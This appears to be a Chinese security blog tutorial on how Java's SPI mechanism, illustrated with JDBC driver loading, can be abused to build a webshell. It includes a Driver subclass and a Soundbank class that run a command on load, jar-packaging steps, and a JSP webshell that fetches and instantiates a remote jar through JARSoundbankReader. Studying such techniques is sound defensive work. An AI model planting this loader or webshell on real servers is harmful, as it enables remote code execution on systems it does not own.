基于spi机制构造的webshell

news2024/9/27 21:05:14

前言

最近在翻阅yzddmr6师傅博客的时候,发现师傅还有个github的地址

https://github.com/yzddmr6/MyPresentations

里面发现师傅去补天白帽子大会上讲解了一些webshell的攻防,特此进行了学习,然后发现了一个很有意思的webshell,不得不说yzddmr6师傅真的tql了,对spi机制又更了解了一点

因为可能刚入门webshell的可能对文章看不懂,因此一些基础知识点也会进行讲解

SPI机制的利用

SPI机制

什么是SPI机制呢?

拼出来就是Service Provider Interface,是JDK内置的一种服务提供发现机制

其实这样讲是理解不到的,说人话就是它会加载你

META-INF/services中的配置文件中指定实现接口的类

比如我们的JDBC,下面会举例子,这里不详细讲了

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<s> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。</s>

<s>

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

JDBC中的SPI

首先我们思考一下为什么JDBC中需要我们的SPI机制呢?

那就是涉及到我们JDBC连接数据库的操作了

JDBC连接数据库

必不可少的一步就是加载数据库驱动,它来完成我们的连接操作,一般是使用Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序

基本的流程是

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

下面举个例子

package MYSQL;

import javax.xml.transform.Result;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;

public class JDBC_Connection_example {
    public static void main(String[] args) throws Exception{
        Properties properties=new Properties();
        properties.setProperty("user","root");
        properties.setProperty("password","123456");
        String URL = "jdbc:mysql://127.0.0.1:3306/security";
        DriverManager.registerDriver(new com.mysql.jdbc.Driver());
        Connection connection=DriverManager.getConnection(URL,properties);
        Statement statement=connection.createStatement();
        String sql="select * from users";
        ResultSet result=statement.executeQuery(sql);
        int columnCount = result.getMetaData().getColumnCount();

        // 打印查询结果
        while (result.next()) {
            for (int i = 1; i <= columnCount; i++) {
                // 通过列索引获取列值,并打印
                System.out.print(result.getString(i) + "\t");
            }
            System.out.println();
        }
        result.close();
        statement.close();
        connection.close();

    }
}

为什么JDBC要有SPI

  1. 动态加载驱动

通过 SPI 机制,JDBC 驱动可以在运行时动态加载,而不需要在代码中硬编码驱动类名。这样可以使代码更加灵活和可扩展。

在没有 SPI 机制之前,开发者需要显式地注册驱动:

Class.forName("com.mysql.cj.jdbc.Driver");

有了 SPI 机制之后,驱动可以通过 DriverManager 自动加载:

Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");
  1. 提高可插拔性

SPI 机制使得 JDBC 驱动具有高度的可插拔性,用户可以轻松更换或添加新的数据库驱动而不需要修改现有代码。这对于支持多种数据库的应用程序非常重要。

  1. 简化配置

应用程序不需要显式地配置和管理 JDBC 驱动,只需要确保驱动 JAR 文件在类路径中,SPI 机制会自动发现和加载这些驱动。这大大简化了应用程序的配置和部署过程。

  1. 支持多种实现

通过 SPI 机制,不同的数据库供应商可以提供自己的 JDBC 驱动实现,而应用程序可以通过统一的 JDBC API 访问不同的数据库。这样,应用程序代码不需要依赖于具体的数据库实现,可以更加通用和灵活。

SPI机制实现分析

JDBC连接会实例化DriverManager.registerDriver(new com.mysql.jdbc.Driver());

然后我们看到这个类的静态代码

static {
        try {
            DriverManager.registerDriver(new Driver());
        } catch (SQLException var1) {
            throw new RuntimeException("Can't register driver!");
        }
    }

会调用DriverManager类的registerDriver方法,因此JVM又会去加载DriverManager类,加载过程中DriverManager的静态代码块被执行

我们看到它的代码

调用loadInitialDrivers();加载初始程序

内部调用doPrivileged,这个方法会实例化 SPI 机制的核心类然后调用load去实现spi机制

获取当前类加载器去加载

最后会来到hasNextService去加载

实现SPI的恶意利用

简单示例

那这样说我们是不是只需要在配置文件中如果能够有我们的恶意类,并且实现我们的Driver接口就可以恶意利用

创建一个恶意类

package MYSQL;

import com.mysql.jdbc.Driver;

import java.io.IOException;
import java.sql.SQLException;

public class calc extends Driver {
    static {
        Runtime runtime=Runtime.getRuntime();
        try {
            runtime.exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public calc() throws SQLException {
    }
}

配置文件写上

运行我们jdbc连接

发现弹出计算器

JARSoundbankReader类webshell利用

方法分析

我们跟进它的getSoundbank方法

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {
    if (!isZIP(var1)) {
        return null;
    } else {
        ArrayList var2 = new ArrayList();
        URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});
        InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");
        if (var4 == null) {
            return null;
        } else {
            try {
                BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));

                for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {
                    if (!var6.startsWith("#")) {
                        try {
                            Class var7 = Class.forName(var6.trim(), false, var3);
                            if (Soundbank.class.isAssignableFrom(var7)) {
                                Object var8 = ReflectUtil.newInstance(var7);
                                var2.add((Soundbank)var8);
                            }
                        } catch (ClassNotFoundException var14) {
                        } catch (InstantiationException var15) {
                        } catch (IllegalAccessException var16) {
                        }
                    }
                }
            } finally {
                var4.close();
            }

            if (var2.size() == 0) {
                return null;
            } else if (var2.size() == 1) {
                return (Soundbank)var2.get(0);
            } else {
                SimpleSoundbank var18 = new SimpleSoundbank();
                Iterator var19 = var2.iterator();

                while(var19.hasNext()) {
                    Soundbank var20 = (Soundbank)var19.next();
                    var18.addAllInstruments(var20);
                }

                return var18;
            }
        }
    }
}

首先检查是否为 ZIP 文件,然后创建一个 URLClassLoader 来加载 ZIP 文件的资源,并尝试从其中获取 META-INF/services/javax.sound.midi.Soundbank 文件的输入流。

通过输入流读取配置文件中的内容,逐行解析每个类名。其实恶意构造只需要一个类

  • 使用 Class.forName 动态加载类。
  • 检查该类是否实现了 Soundbank 接口。

所以我们构造的恶意类需要实现Soundbank接口

我们现在来构造恶意类

根据上面的SPI恶意利用的原理,我们可以使用类似的方法去制作恶意的jar包

jar包制作

目录结构如下

然后因为是加载javax.sound.midi.Soundbank中的类

我们在这个文件写入

写入你自己的恶意类的包名

nn0nkey.Evil

恶意类构造

恶意类需要实现Soundbank接口,就需要重写它的方法

然后在其中注入恶意代码

POC如下

package nn0nkey;


import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.Soundbank;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;

public class  Evil implements Soundbank {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public String getName() {
        return null;
    }

    @Override
    public String getVersion() {
        return null;
    }

    @Override
    public String getVendor() {
        return null;
    }

    @Override
    public String getDescription() {
        return null;
    }

    @Override
    public SoundbankResource[] getResources() {
        return new SoundbankResource[0];
    }

    @Override
    public Instrument[] getInstruments() {
        return new Instrument[0];
    }

    @Override
    public Instrument getInstrument(Patch patch) {
        return null;
    }
}

然后运行命令构造jar包

```bash
javac src/nn0nkey/Evil.java
jar -cvf Evil.jar -C src/ .
```

本地测试

然后把我们的jar包放到服务器上,然后去访问

import com.sun.media.sound.JARSoundbankReader;
import java.net.URL;

public class text {
    public static void main(String[] args) throws Exception {
        JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
        URL url=new URL("http://ip/Evil.jar");
        jarSoundbankReader.getSoundbank(url);
    }
}

运行弹出计算器

构造webshell

<%@ page import="com.sun.media.sound.JARSoundbankReader" %>
<%@ page import="java.net.URL" %>
<%
    JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
    URL url=new URL("http://ip/Evil.jar");
    jarSoundbankReader.getSoundbank(url);
%>
</s>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2171052.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

YOLOv9改进,YOLOv9主干网络替换为PP-LCNetV2(百度飞浆视觉团队自研,轻量化架构),全网独发

摘要 PP-LCNetV2 是在图像分类任务中提出的一种轻量级卷积神经网络,用于在边缘设备上实现高效的推理。PP-LCNet 系列模型的设计旨在提高移动和边缘设备上的推理性能,同时保持较高的准确率。PP-LCNetV2 是在 PP-LCNetV1 基础上改进的。 理论介绍 PP-LCNetV2模型结构如下: …

数据库存储加密技术有哪些 TDE透明加密和列表级加密

透明数据加密&#xff08;TDE&#xff09;和列级加密是数据库加密中两种常见的加密方式&#xff0c;它们在加密范围、实现方式以及对应用程序的影响等方面存在明显的区别。 透明数据加密&#xff08;TDE&#xff09; 定义&#xff1a; 透明数据加密&#xff08;Transparent …

稀土阻燃协效剂-氢氧化镁(氢氧化铝)的应用

稀土阻燃协效剂凭借独特的稀土4f电子层结构,在聚合物材料燃烧时可催化酯化成炭,迅速在高分子表面形成致密连续的碳层,隔绝聚合物材料内部的可燃性气体与氧气的接触,从而达到阻燃抑烟的效果,且燃烧时不产生有毒有害气体。 金士镧系列稀土阻燃剂是一种基于稀土协效阻燃的复合阻燃…

CTF竞赛介绍以及刷题网址(超详细)零基础入门到精通,收藏这一篇就够了

CTF&#xff08;Capture The Flag&#xff09;中文一般译作夺旗赛&#xff0c;在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会&#xff0c;以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今&…

安全防护装备检测系统源码分享

安全防护装备检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…

D18【python接口自动化学习】-python基础之内置数据类型

day18 综合练习&#xff1a;实现手机通讯录&#xff08;下&#xff09; 学习日期&#xff1a;20240925 学习目标&#xff1a;内置数据类型--27 小试牛刀&#xff1a;如何使用类型转换实现手机通讯录&#xff08;下&#xff09; 学习笔记&#xff1a; 实现手机通讯录 案例文…

以题为例浅谈反序列化漏洞

什么是反序列化漏洞 反序列化漏洞是基于序列化和反序列化的操作&#xff0c;在反序列化——unserialize()时存在用户可控参数&#xff0c;而反序列化会自动调用一些魔术方法&#xff0c;如果魔术方法内存在一些敏感操作例如eval()函数&#xff0c;而且参数是通过反序列化产生的…

占领矩阵-第15届蓝桥省赛Scratch中级组真题第5题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第190讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【图像处理】多幅不同焦距的同一个物体的平面图象,合成一幅具有立体效果的单幅图像原理(一)

合成一幅具有立体效果的单幅图像&#xff0c;通常是利用多个不同焦距的同一物体的平面图像&#xff0c;通过图像处理技术实现的。以下是该过程的基本原理&#xff1a; 1. 立体视觉原理 人眼的立体视觉是通过双眼观察物体的不同视角而获得的。两只眼睛的位置不同&#xff0c;使…

【学习笔记】MIPI

MIPI介绍 MIPI是由ARM、Nokia、ST、IT等公司成立的一个联盟&#xff0c;旨在把手机内部的接口如存储接口&#xff0c;显示接口&#xff0c;射频/基带接口等标准化&#xff0c;减少兼容性问题并简化设计。 MIPI联盟通过不同的工作组&#xff0c;分别定义一系列手机内部的接口标…

猜拳数据集-石头-剪刀-布数据集

“石头-剪刀-布”计算机视觉项目是一个利用摄像头捕捉手势并识别出手势是石头、剪刀还是布的项目。这类项目通常用于学习和展示计算机视觉技术&#xff0c;如图像处理、特征提取以及机器学习或深度学习模型的应用。 数据介绍 rock-paper-scissors Computer Vision Project数…

基于状态机的流程编排架构设计

背景 xx产品侧规划了全新的能力升级&#xff0c; 主要思路为&#xff1a;改变之前通过xx等手工生成xx的方式&#xff0c;通过标准化流程尽可能的减少人工介入&#xff0c;提升产出效率。xx入库、xx生成链路存在链路长、链路不稳定问题&#xff0c;由于目前缺乏比较好的监控、检…

一文多图,彻底弄懂LSM-Tree

一文弄懂LSM-Tree LSM-Tree是什么&#xff1f; LSM-Tree&#xff08;Log Structured Merge Tree&#xff09;是一种数据结构&#xff0c;它被设计用于处理大量写入操作的场景&#xff0c;常见于许多NoSQL数据库中&#xff0c;如BigTable、Cassandra、RocksDB和LevelDB等。 L…

废品回收小程序:回收更加便捷!

在日常生活中&#xff0c;废品回收已经成为了一种常见事&#xff0c;随着电商的快速发展&#xff0c;居民难免会产生大量的废纸盒等可回收物&#xff0c;以及在日常生活中产生的其他回收物&#xff0c; 目前&#xff0c;废品回收市场也发生了改革&#xff0c;传统的“叫卖”方…

MySQL高阶1990-统计实验的数量

目录 题目 准备数据 分析数据 总结 题目 写一个 SQL 查询语句&#xff0c;以报告在给定三个实验平台中每种实验完成的次数。请注意&#xff0c;每一对&#xff08;实验平台、实验名称&#xff09;都应包含在输出中&#xff0c;包括平台上实验次数是零的。 结果可以以任意…

C++之STL—常用查找算法

- find //查找元素 - find_if //按条件查找元素 - adjacent_find //查找相邻重复元素 - binary_search //二分查找法 - count //统计元素个数 - count_if //按条件统计元素个数 find (iterator begin, …

衡石分析平台系统管理手册-功能配置之全局 JS 设置

全局 JS 设置​ 衡石系统提供了全局 JS 设置功能&#xff0c;用户可以通过自定义 JS 代码实现系统的个性化需求&#xff0c;如使用第三方统计工具对系统平台的 PV 、UV 进行监测。 使用场景​ 场景1&#xff1a;增加百度统计​ 下图示例中使用 js 代码引用了百度网站统计功…

SUP-NeRF-ECCV2024: 单目3D对象重建的新突破

2024-09-25&#xff0c;由Bosch Research North America和Michigan State University联合发布的SUP-NeRF&#xff0c;是一个基于单目图像进行3D对象重建的新型方法。一个无缝集成姿态估计和物体重建的统一网格。 ECCV&#xff1a;欧洲计算机视觉会议的缩写&#xff0c;它是计算…

免费好用!AI声音克隆神器,超级简单,10秒就能克隆任何声音!(附保姆级教程)

今天下午还有读者问&#xff1a; 有没有能克隆声音的 AI 工具&#xff1f; 其实剪映很早就上了克隆声音的功能。 只需要按要求朗读例句&#xff0c;或者上传本地的音视频文件&#xff0c;就可以克隆声音了。 操作非常简单&#xff0c;效果也不错&#xff0c;可以试试。 除了…

数据库软题4-关系代数转SQL语言

题1 因为是笛卡尔积 <ABCD CDE> <1234 567> 笛卡尔积 RxS FROM R&#xff0c;S题2 题3 题4 题5